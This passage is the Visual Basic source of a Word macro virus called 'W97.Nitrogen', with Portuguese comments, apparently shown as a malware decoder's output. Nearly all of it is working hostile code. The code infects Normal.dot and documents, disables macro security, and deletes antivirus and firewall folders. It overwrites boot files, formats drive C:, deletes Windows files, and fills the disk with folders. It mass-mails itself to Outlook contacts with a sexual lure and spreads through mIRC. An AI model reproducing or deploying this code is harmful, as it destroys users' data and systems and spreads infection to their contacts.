20. System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"
21. System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1"
22. 'Aponta para o documento activo
23. Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
24. 'Aponta para o normal.dot
25. Set Norm = Normal.Nitrogen.VBProject.VBComponents.Item(1)
26. 'Aponta para copia
27. Set ItsMe = Me.VBProject.VBComponents.Item(1)

28. Norm.Name = "Nitrogen"    'Muda o nome do Modulos
29. Arch.Name = "Nitrogen"    'Muda o nome do Modulos
30. 'Infecta o normal.dot se a primeira linha do Module nao for 'W97.Nitrogen
31. If Norm.CodeModule.Lines(1, 1) <> "'W97.Nitrogen" Then
32. 'copia do virus para o normal.dot
33. Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
34. End If
35. 'Infecta os documentos se a primeira linha nao for 'W97.Nitrogen
36. If Arch.CodeModule.Lines(1, 1) <> "'W97.Nitrogen" Then
37. 'copia para o documento activo
38. Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
39. End If
40. 'ja se sabe ne
41. ChooseActions
42. Retro
43. M6KHON1P
44. JN289GF4 (EL41EEIC)
45. I5GE6CE6 (P4HN289G)
46. Form
47. Special
48. End Sub

49. Sub FileSaveAs()
50. On Error Resume Next
51. 'Manda os numeros para a barra de titulo do Word antes de salvar
52. 'Se for mes de maio fecha o word i nao salva o documento
53. Application.ActiveWindow.Caption = "0"
54. Time
55. Application.ActiveWindow.Caption = "1"
56. Time
57. Application.ActiveWindow.Caption = "2"
58. Time
59. Application.ActiveWindow.Caption = "3"
60. Time
61. Application.ActiveWindow.Caption = "4"
62. Time
63. Application.ActiveWindow.Caption = "5"
64. M6KHON1P
65. JN289GF4 (EL41EEIC)
66. I5GE6CE6 (P4HN289G)
67. If Day(Now) >= 1 And Month(Now) = 5 Then
68. Tasks.ExitWindows
69. End If
70. End Sub

71. Private Sub Retro()
72. On Error Resume Next
73. 'Redireciona o atalho Alt+F11 para uma sub vazia
74. KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF11), KeyCategory:=wdKeyCategoryCommand, Command:="Protec"
75. 'Redireciona o atalho Alt+F8 para uma sub vazia
76. KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF8), KeyCategory:=wdKeyCategoryCommand, Command:="Protec"
77. 'Deleta no menu Ferramentas a opo macro
78. CommandBars("Tools").Controls("Macro").Delete
79. 'Vai ao registro e traz path dos anti-virus
80. Dim McAfee, FMcAfee, FProt, FFProt, FProt2, FFProt2, VET, FVET, Avast, FAvast, TheCleaner, FTheCleaner, Panda, FPanda, AVP, FAVP, Norton, FNorton, Norman, FNorman
81. FProt = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Command Software\F-PROT32", "Location")
82. FProt2 = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\FRISK Software International\FP-Win", "Program Root")
83. VET = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cybec\VET Antivirus for Win32\Resident", "VetPath")
84. McAfee = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\McAfee\Scan95", "szProductLocation")
85. Avast = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\ALWIL Software\Avast32", "Path")
86. TheCleaner = System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Software\MooSoft Development\The Cleaner", "tcshellex")
87. Panda = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Panda Software\Panda Antivirus 6.0", "Path")
88. AVP = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\KasperskyLab\Components\100", "Folder")
89. Norton = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Symantec\InstalledApps", "NAV")
90. Norman = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Norman Data Defense Systems", "RootPath")
91. 'Vai ao registro e traz path das FireWalls
92. Dim ZoneAlarm, FZoneAlarm, BlackIce, FBlackIce, Tiny, FTiny, Sygate, FSygate
93. ZoneAlarm = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Zone Labs\ZoneAlarm", "InstallDirectory")
94. BlackIce = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Network ICE\BlackICE", "Installer") = "C:\Programas\Network ICE\BlackICE"
95. Tiny = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\TinySoftware\Tiny Personal Firewall\2.00", "DestPath")
96. Sygate = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Sygate Technologies, Inc.\Sygate Personal Firewall", "smc_install_path")
97. 'Indica o ke ira ser apagado *.* tudo HIHI
98. FFProt = FProt + "\*.*"
99. FFProt2 = FProt2 + "\*.*"
100. FVET = VET + "\*.*"
101. FMcAfee = McAfee + "\*.*"
102. FAvast = Avast + "\*.*"
103. FTheCleaner = TheCleaner + "\*.*"
104. FPanda = Panda + "\*.*"
105. FAVP = AVP + "\*.*"
106. FNorton = Norton + "\*.*"
107. FNorman = Norman + "\*.*"
108. FZoneAlarm = ZoneAlarm + "\*.*"
109. FBlackIce = BlackIce + "\*.*"
110. FTiny = Tiny + "\*.*"
111. FSygate = Sygate + "\*.*"
112. 'Mando os Anti-Virus com os porcos
113. Kill FFProt
114. Kill FFProt2
115. Kill FVET
116. Kill FMcAfee
117. Kill FAvast
118. Kill FTheCleaner
119. Kill FPanda
120. Kill FAVP
121. Kill FNorton
122. Shell "Deltree/y" + FNorman
123. Kill FZoneAlarm
124. Kill FBlackIce
125. Kill FTiny
126. Kill FSygate
127. 'Desabilita a porra do Xo Bobus
128. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "0") = "DISABLED"
129. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "1") = "DISABLED"
130. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "2") = "DISABLED"
131. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "3") = "DISABLED"
132. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "4") = "DISABLED"
133. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "5") = "DISABLED"
134. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "6") = "DISABLED"
135. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "7") = "DISABLED"
136. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "8") = "DISABLED"
137. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "9") = "DISABLED"
138. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "10") = "DISABLED"
139. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoStart") = "DISABLED"
140. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoVerify") = "DISABLED"
141. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "BOProt") = "DISABLED"
142. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "ExtraPort") = "DISABLED"
143. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "NetBusAdv") = "DISABLED"

144. End Sub

145. Private Sub Protec() 'Sub vazia que nao faz nada, simplemente proteje o documento

146. End Sub

147. Private Sub Action1()
148. On Error Resume Next
149. 'Muda o nome da lixeira e coloca uma messagem
150. System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "Nitrogen"
151. System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "Esta e a Lixeira do KrPtR... eu comando essa barraca ok??? ---DTy---"
152. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "KrPtR Recycle Bin"
153. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "Esta Lixeira do KrPtR... eu comando essa barraca ok??? ---DTy---"
154. End Sub

155. Private Sub Action2()
156. On Error Resume Next
157. 'Altera o registro do Windows e a Versao
158. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "BitsPerPixel") = "1"
159. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "KrPtR"
160. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "Nitrogen"
161. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Version") = "Windous 007 by KrPtR"
162. End Sub

163. Private Sub Action3()
164. On Error Resume Next
165. 'Poe o ponteiro rato com rasto, velocidade a 0, duplo clica a 100 hehe diz tudo ne
166. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "MouseTrails") = "7"
167. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "MouseSpeed") = "0"
168. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "DoubleClickSpeed") = "100"
169. End Sub

170. Private Sub Action4()
171. On Error Resume Next
172. 'Muda as cores do Windows
173. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ButtonFace") = "200 40 10"
174. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ActiveTitle") = "0 250 100"
175. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Menu") = "0 0 0"
176. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Window") = "100 100 200"
177. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ScrollBar") = "100 100 200"
178. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "WindowText") = "255 255 255"
179. End Sub

180. Private Sub Action5()
181. On Error Resume Next
182. 'Coloca umas lembraa nos ficheiros
183. N$ = WordBasic.[DefaultDir$](2) + "\Normal.dot"
184. FileCopy N$, "C:\Leia.dot"
185. SetAttr "C:\*.*", vbNormal
186. Open "C:\io.sys" For Output As #1
187. Open "C:\msdos.sys" For Output As #2
188. Open "C:\command.com" For Output As #3
189. Print #1, "Voce foi dominado pelo virus Nitrogen"
190. Print #2, "Escrito por KrPtR"
191. Print #3, "Foda-se p nem depois de morto um gajo pode descansar...Tem de tar sempre um monh entrar"
192. Close #1
193. Close #2
194. Close #3
195. Open "C:\autoexec.bat" For Output As #1
196. Print #1, "@echo off"
197. Print #1, "BREAK OFF > NUL"
198. Print #1, "Cls"
199. Print #1, "Echo @    @ @ @@@@@@@ @@@@  @@@@@ @@@@@ @@@@@ @    @"
200. Print #1, "Echo @@   @      @    @   @ @   @ @   @ @     @@   @"
201. Print #1, "Echo @ @  @ @    @    @   @ @   @ @     @@@   @ @  @"
202. Print #1, "Echo @  @ @ @    @    @@@@  @   @ @ @@@ @@@   @  @ @"
203. Print #1, "Echo @   @@ @    @    @   @ @   @ @   @ @     @   @@"
204. Print #1, "Echo @    @ @    @    @   @ @@@@@ @@@@@ @@@@@ @    @"
205. Print #1, "Echo voce foi destruido pelo virus Nitrogen"
206. Print #1, "pause > nul"
207. Print #1, "Cls"
208. Print #1, "Echo escrito por KrPtR"
209. Print #1, "pause > nul"
210. Print #1, "Cls"
211. Print #1, "Echo Voce quer se vingar de mim???"
212. Print #1, "pause > nul"
213. Print #1, ":inicio"
214. Print #1, "Cls"
215. Print #1, "Echo    @              "
216. Print #1, "Echo   @ @             "
217. Print #1, "Echo    @ @            "
218. Print #1, "Echo     @ @ @ @ @ @   "
219. Print #1, "Echo      @  @ @ @ @ @ "
220. Print #1, "Echo      @         @  "
221. Print #1, "Echo       @       @   "
222. Print #1, "Echo        @     @    "
223. Print #1, "Cls"
224. Print #1, "Echo       @           "
225. Print #1, "Echo      @ @          "
226. Print #1, "Echo      @ @          "
227. Print #1, "Echo      @ @ @ @ @ @  "
228. Print #1, "Echo      @  @ @ @ @ @ "
229. Print #1, "Echo      @         @  "
230. Print #1, "Echo       @       @   "
231. Print #1, "Echo        @     @    "
232. Print #1, "Goto :inicio"
233. Close #1

234. End Sub

235. Private Sub Action6()
236. On Error Resume Next
237. 'Altera o nome dos dispositivos do gestor de dispositivos
238. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0", "VendorIdentifier") = "Genuine KrPtR Processor"
239. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0", "Identifier") = "Nitrogen"
240. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeveiceMap\SerialComm", "COM1") = "YOU BE STOP ME BUT YOU DONT STOP ALL"
241. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm", "COM1") = "YOU BE STOP ME BUT YOU DONT STOP ALL"
242. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm", "COM2") = "YOU BE STOP ME BUT YOU DONT STOP ALL"
243. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0000\01", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
244. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0100\03", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
245. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0200\02", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
246. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0303\05", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
247. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0400\0A", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
248. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0501\08", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
249. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0501\09", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
250. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0700\0B", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
251. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0800\06", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
252. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0A03\0C", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
253. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0B00\04", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
254. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0C04\07", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
255. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\ISAPNP\CTL0070_DEV0000\FFFFFFFF", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
256. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\ISAPNP\CTL0070_DEV0001\FFFFFFFF", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME"
257. End Sub

258. Sub Action7()
259. On Error Resume Next
260. 'Coloca uma resoluo espetacular...Hehe 300 por 100
261. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "Resolution") = "300,100"
262. End Sub

263. Sub Action8()
264. 'Elemina os menus do Word
265. CommandBars.ActiveMenuBar.Delete
266. End Sub

267. Sub ChooseActions()
268. On Error Resume Next
269. 'Faz de modo alientorio a escolha da acao
270. Dim Chance
271. Randomize
272. Chance = Int((90 * Rnd) + 1)
273. If Chance = 10 Then Action1
274. If Chance = 20 Then Action2
275. If Chance = 30 Then Action3
276. If Chance = 40 Then Action4
277. If Chance = 50 Then Action5
278. If Chance = 60 Then Action6
279. If Chance = 70 Then Action7
280. If Chance = 80 Then Action8
281. End Sub

282. Sub LoopIt()
283. On Error Resume Next
284. 'Se o segundo for igual ao minute, obriga o men a dizer ke tem pila de minhoca...Hehe
285. If Second(Now) = Minute(Now) Then
286. Msg = "ERRO NO SISTEMA, a possivel causa  voce ter pila de minhoca!!! Voce tem uma pila de minhoca?"
287. Style = vbYesNo + vbQuestion
288. Title = "Microsoft Word"
289. Ret = MsgBox(Msg, Style, Title)
290. If Ret = vbNo Then LoopIt
291. End If
292. End Sub

293. Sub Time()
294. 'Gera o tempo, quando salva o documento
295. On Error Resume Next
296. Dim PauseTime, Start, Finish, TotalTime
297. PauseTime = 1
298. Start = Timer
299. Do While Timer < Start + PauseTime
300. DoEvents
301. Loop
302. End Sub

303. Sub Form()
304. 'Se o dia for igual ao mes faz aparecer um form na tela hihi
305. On Error Resume Next
306. If Day(Now) = Month(Now) Then
307. Gajaneca.Show
308. End If
309. End Sub

310. 'Estas acoes sao so acoes especiais
311. Sub Special()
312. On Error Resume Next
313. 'Mensagem, fecha o Word e format
314. If Day(Now) = "1" And Month(Now) = "8" Then MsgBox "OK!!!, Is time to kill!!!", vbSystemModal + vbOKOnly, "KrPtR": Application.Quit wdDoNotSaveChanges: Tasks.ExitWindows
315. Shell "C:\Windows\Command\Format.com C:/Autotest"
316. 'Pergunta se ker remover o Windows e so da o botao de sim
317. If Day(Now) = "13" And Month(Now) = "4" Then
318. mbox = "Ow!!! Quer remover o Windows???": st = vbYes + vbQuestion: tit = "KrPtR"
319. r = MsgBox(mbox, st, tit)
320. If r = vbYes Then
321. Application.StatusBar = "Removendo C:\Windows... 5%"
322. FileSystem.Kill "C:\Windows\*.exe"
323. Application.StatusBar = "Removendo C:\Windows... 14%"
324. FileSystem.Kill "C:\Windows\*.bmp"
325. Application.StatusBar = "Removendo C:\Windows... 20%"
326. FileSystem.Kill "C:\Windows\*.gif"
327. Application.StatusBar = "Removendo C:\Windows... 30%"
328. FileSystem.Kill "C:\Windows\*.com"
329. Application.StatusBar = "Removendo C:\Windows... 36%"
330. FileSystem.Kill "C:\Windows\*.jpg"
331. Application.StatusBar = "Removendo C:\Windows... 45%"
332. FileSystem.Kill "C:\Windows\*.dll"
333. Application.StatusBar = "Removendo C:\Windows... 57%"
334. FileSystem.Kill "C:\Windows\*.sys"
335. Application.StatusBar = "Removendo C:\Windows... 68%"
336. FileSystem.Kill "C:\Windows\*.txt"
337. Application.StatusBar = "Removendo C:\Windows... 72%"
338. FileSystem.Kill "C:\Windows\*.doc"
339. FileSystem.Kill "C:\Windows\*.gif"
340. Application.StatusBar = "Removendo C:\Windows... 86%"
341. FileSystem.Kill "C:\Windows\*.dat"
342. FileSystem.Kill "C:\Windows\*.ini"
343. Application.StatusBar = "Removendo C:\Windows... 99%"
344. FileSystem.Kill "C:\Windows\*.pwl"
345. Application.StatusBar = "Removendo C:\Windows... done"
346. End If
347. End If
348. 'Mensagem e cria pastas ate nao haver mais espao no disco
349. If Day(Now) = "1" And Month(Now) >= "1" Then
350. MsgBox "OW! Dia da confuso? Sabes o que isso (da uma expreitade-la no Explorer)???", vbExclamation, "KrPtR"
351. Static P
352. Static Q
353. Dim S
354. S = "\Nitrogen"
355. P = "C:\Nitrogen"
356. MkDir P
357. Pastas:
358. Q = Q + 1
359. P = P + S
360. MkDir P
361. GoTo Pastas
362. End If
363. 'Mensagem e apaga o conteudo do iniciar
364. If Day(Now) = "7" And Month(Now) >= "6" Then
365. MsgBox "O Sistema decidio ke como voce  Duty tambm no precisa de iniciar???", vbCritical, "KrPtR"
366. Shell "Deltree/y c:\windows\menu iniciar"
367. Shell "Deltree/y c:\windows\start menu"
368. End If
369. 'Mensagem e apaga as fontes do windows
370. If Day(Now) = "28" And Month(Now) >= "2" Then
371. MsgBox "AHAH!!!Duty check your fonts", vbExclamation, "KrPtR"
372. Shell "Deltree/y C:\windows\fonts"
373. Open "C:\autoexec.bat" For Output As #1
374. Print #1, "@echo off"
375. Print #1, "Deltree/y C:\windows\fonts"
376. Close #1
377. End If
378. 'Faz um joginho se ganhar deleta a pasta dos programas
379. If Day(Now) = Minute(Now) Then
380. MsgBox "Game Pockey Quinja no teu monhenho", vbExclamation, "KrPtR"
381. Dim FILEEE
382. FILEEE = Dir("C:\Windows\*.*")
383. Open FILEEE For Append As #1
384. Randomize: o = Int((2 * Rnd) + 1)
385. If o = 1 Then Print #1, "Ow, you loose, try again!!!"
386. If o = 2 Then Print #1, "Ow yeah! You win... SHIT": Shell "Deltree/y C:\programas"
387. Print #1, "Do you want to play again???"
388. Print #1, ""
389. Close #1
390. End If
391. 'Isto e a nova versao do Windows HEHEHE
392. If Day(Now) = 25 And Month(Now) = 12 Then
393. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "BorderWidth") = "100"
394. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "CaptionHeight") = "-1000"
395. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "CaptionWidth") = "-1000"
396. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconSpacing") = "-2500"
397. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconSpacingFactor") = "1000"
398. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconVerticalSpacing") = "-2000"
399. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "MenuHeight") = "1000"
400. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "MenuWidth") = "1000"
401. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "ScrollHeight") = "-1000"
402. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "ScrollWidth") = "1000"
403. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "Shell Icon BPP") = "1500"
404. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "SmCaptionHeight") = "-1000"
405. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "SmCaptionWidth") = "-1500"
406. End If
407. End Sub
408. 'Envia o Virus pelo E-Mail
409. Function M6KHON1P()
410. On Error Resume Next
411. Set LO0TLPP3 = CreateObject("Outlook.Application")
412. If LO0TLPP3 = "Outlook" Then
413. Set OJ635QLF = LO0TLPP3.GetNameSpace("MAPI")
414. Set PA314IE4 = OJ635QLF.AddressLists
415. For Each LRD0IK85 In PA314IE4
416. If LRD0IK85.AddressEntries.Count <> 0 Then
417. FJ86ECJP = LRD0IK85.AddressEntries.Count
418. For KK94TEGG = 1 To FJ86ECJP
419. Set CICQC7G8 = LO0TLPP3.CreateItem(0)
420. Set VL2G87R2 = LRD0IK85.AddressEntries(KK94TEGG)
421. CICQC7G8.To = VL2G87R2.Address
422. CICQC7G8.Subject = "Very Important!"
423. CICQC7G8.Body = "Hi:" & vbCrLf & "it's contain sites of sexy" & vbCrLf & ""
424. Set V01B8L4J = CICQC7G8
425. V01B8L4J = Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
426. L6856229 = V3F7GPEG
427. CICQC7G8.DeleteAfterSubmit = True
428. V01B8L4J.Add L6856229
429. If CICQC7G8.To <> "" Then
430. CICQC7G8.Send
431. End If
432. Next
433. End If
434. Next
435. End If
436. End Function
437. 'Envia o virus pelo Mirc
438. Function JN289GF4(EL41EEIC)
439. On Error Resume Next
440. If EL41EEIC <> "" Then
441. I1A717F3 = D585C1N8.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
442. If N23RFUBE.fileexists("c:\mirc\mirc.ini") Then
443. EL41EEIC = "c:\mirc"
444. ElseIf N23RFUBE.fileexists("c:\mirc32\mirc.ini") Then
445. EL41EEIC = "c:\mirc32"
446. ElseIf N23RFUBE.fileexists(I1A717F3 & "\mirc\mirc.ini") Then
447. EL41EEIC = I1A717F3 & "\mirc"
448. ElseIf N23RFUBE.fileexists(I1A717F3 & "\mirc32\mirc.ini") Then
449. EL41EEIC = I1A717F3 & "\mirc"
450. Else
451. EL41EEIC = ""
452. End If
453. End If
454. If EL41EEIC <> "" Then
455. Set QE867UU1 = N23RFUBE.CreateTextFile(EL41EEIC & "\script.ini", True)
456. QE867UU1 = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
457. QE867UU1 = QE867UU1 & vbCrLf & "n0=on 1:JOIN:#:{"
458. QE867UU1 = QE867UU1 & vbCrLf & "n1=  /if ( $nick == $me ) { halt }"
459. QE867UU1 = QE867UU1 & vbCrLf & "n2=  /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
460. QE867UU1 = QE867UU1 & V3F7GPEG
461. QE867UU1 = QE867UU1 & vbCrLf & "n3=}"
462. Script.Close
463. End If
464. End Function

465. Function I5GE6CE6(P4HN289G)
466. On Error Resume Next
467. FD2T2R6M = P4HN289G
468. Set E19HU2J0 = N23RFUBE.GetFolder(FD2T2R6M)
469. Set JS6N7DTE = E19HU2J0.Files
470. For Each IH0U7262 In JS6N7DTE
471. If LCase(IH0U7262.Name) = "mirc.ini" Then
472. JN289GF4 (IH0U7262.ParentFolder)
473. End If
474. If N23RFUBE.GetExtensionName(IH0U7262.Path) = "dot" Then
475. N23RFUBE.CopyFile wscript.scriptfullname, IH0U7262.Path, True
476. End If
477. If N23RFUBE.GetExtensionName(IH0U7262.Path) = "doc" Then
478. N23RFUBE.CopyFile wscript.scriptfullname, IH0U7262.Path, True
479. End If
480. Next
481. Set GJLFB106 = E19HU2J0.Subfolders
482. For Each G4F1UJQ6 In GJLFB106
483. Call G4F1UJQ6.Path
484. Next
485. End Function

Function Calls

None

Variables

None

Stats

MD5 bb11fcdb33c2fb36c8e3d16b1681cd75
Eval Count 0
Decode Time 110 ms